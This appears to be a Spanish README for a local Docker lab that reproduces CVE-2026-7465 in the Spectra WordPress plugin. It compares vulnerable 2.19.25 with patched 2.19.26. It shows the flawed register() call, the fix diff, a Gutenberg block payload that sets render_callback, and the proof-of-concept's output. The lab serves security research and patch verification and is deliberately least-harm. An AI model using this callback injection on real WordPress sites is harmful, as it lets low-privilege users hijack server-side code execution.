
Laboratorio Docker local para analizar y reproducir CVE-2026-7465 en el plugin de WordPress Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).
Este laboratorio compara:
vuln: Spectra 2.19.25patched: Spectra 2.19.26La prueba es intencionalmente de mínimo daño. No ejecuta comandos de shell, no sube archivos, no crea usuarios ni modifica el contenedor directamente. El PoC crea una entrada de WordPress borrador temporal, comprueba el comportamiento del bloque renderizado y luego elimina el borrador.
CVE-2026-7465 es una vulnerabilidad en Spectra Gutenberg Blocks donde los atributos de bloque de Gutenberg controlados por el usuario podían pasarse a los argumentos de registro de bloques de WordPress.
En la versión vulnerable, Spectra registra dinámicamente los bloques uagb/* analizados usando los atributos de bloque del contenido de la entrada:
$registry->register( $block['blockName'], $block['attrs'] );
Debido a que un Colaborador puede crear contenido de entrada que contenga comentarios de bloque de Gutenberg, un usuario autenticado a nivel de Colaborador puede influir en argumentos de registro como render_callback.
La versión 2.19.26 corrige el problema registrando el bloque con un array de argumentos vacío:
$registry->register( $block['blockName'], array() );
Esto evita que los atributos de bloque controlados por la entrada se conviertan en opciones de registro de bloques de PHP.
Producto:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
Versiones usadas en este laboratorio:
vulnerable: 2.19.25
patched: 2.19.26
El changelog de WordPress.org para la versión 2.19.26 indica que la actualización solucionó un bug de seguridad y agradece a Wordfence por la divulgación responsable.
La lógica vulnerable se encuentra en:
classes/class-uagb-init-blocks.php
El código vulnerable comprueba si un nombre de bloque analizado contiene el espacio de nombres uagb/. Si el bloque aún no está registrado, lo registra dinámicamente.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
El problema es el segundo argumento:
$block['attrs']
En Gutenberg, los atributos de bloque pueden almacenarse dentro del contenido de la entrada, por ejemplo:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
Un Colaborador puede crear contenido de entrada en borrador. Por lo tanto, el atacante puede influir en $block['attrs'].
Cuando esos atributos se pasan a WP_Block_Type_Registry::register(), se convierten en argumentos de registro de bloques. Un argumento de registro sensible es:
render_callback
Esto crea una primitiva de control de callback.
En 2.19.26, Spectra sigue registrando el nombre de bloque uagb/* analizado, pero ya no pasa los atributos controlados por la entrada como argumentos de registro:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
El cambio importante es:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
Esto elimina los atributos controlados por el atacante de la ruta de registro de bloques.
maybe_serializeEl PoC no utiliza callbacks de PHP peligrosos como system, exec, shell_exec o passthru.
En su lugar, utiliza:
maybe_serialize
El contenido del bloque de prueba es:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
Comportamiento esperado:
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
Esto demuestra el comportamiento vulnerable sin ejecutar comandos ni escribir archivos.
Servicios:
db_vuln MariaDB for vulnerable WordPress
db_patched MariaDB for patched WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
Puertos locales:
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
Usuario de WordPress preconfigurado:
username: contributor
password: contributorpass123!
role: contributor
El PoC es solo HTTP. Interactúa con WordPress mediante inicio de sesión y peticiones a la API REST.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Empieza desde un entorno limpio:
docker compose down -v --remove-orphans
docker compose up -d --build
Comprueba los contenedores:
docker compose ps
Comprueba los logs de seed:
docker compose logs seed_vuln seed_patched
Resultado esperado del seed:
[+] seed vuln: done
[+] seed patched: done
Prueba el objetivo vulnerable:
python3 poc/poc.py -t http://127.0.0.1:8181
Veredicto esperado para la versión vulnerable:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
Prueba el objetivo parcheado:
python3 poc/poc.py -t http://127.0.0.1:8182
Veredicto esperado para la versión parcheada:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
La comparación importante es:
raw_contains_marker
rendered_contains_marker
Tanto el objetivo vulnerable como el parcheado deberían mostrar:
raw_contains_marker: True
Esto confirma que el mismo contenido de bloque se guardó correctamente en una entrada de borrador temporal.
La diferencia está en la salida renderizada:
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
Esto demuestra que la versión vulnerable aceptó el render_callback controlado por la entrada, mientras que la versión parcheada no lo hizo.
Detén y elimina contenedores, redes y volúmenes:
docker compose down -v --remove-orphans
Elimina la caché de Python si existe:
rm -rf poc/__pycache__
Este repositorio es únicamente para investigación de seguridad local y demostración de portafolio.
El PoC:
No ejecutes esto contra sistemas que no poseas o para los que no tengas permiso explícito de pruebas.
Página del plugin en WordPress.org: Spectra Gutenberg Blocks - Website Builder for the Block Editor
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
Changelog de WordPress.org: actualización de seguridad 2.19.26 - Monday, 4th May 2026 acreditada a Wordfence
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
WordPress Plugin SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/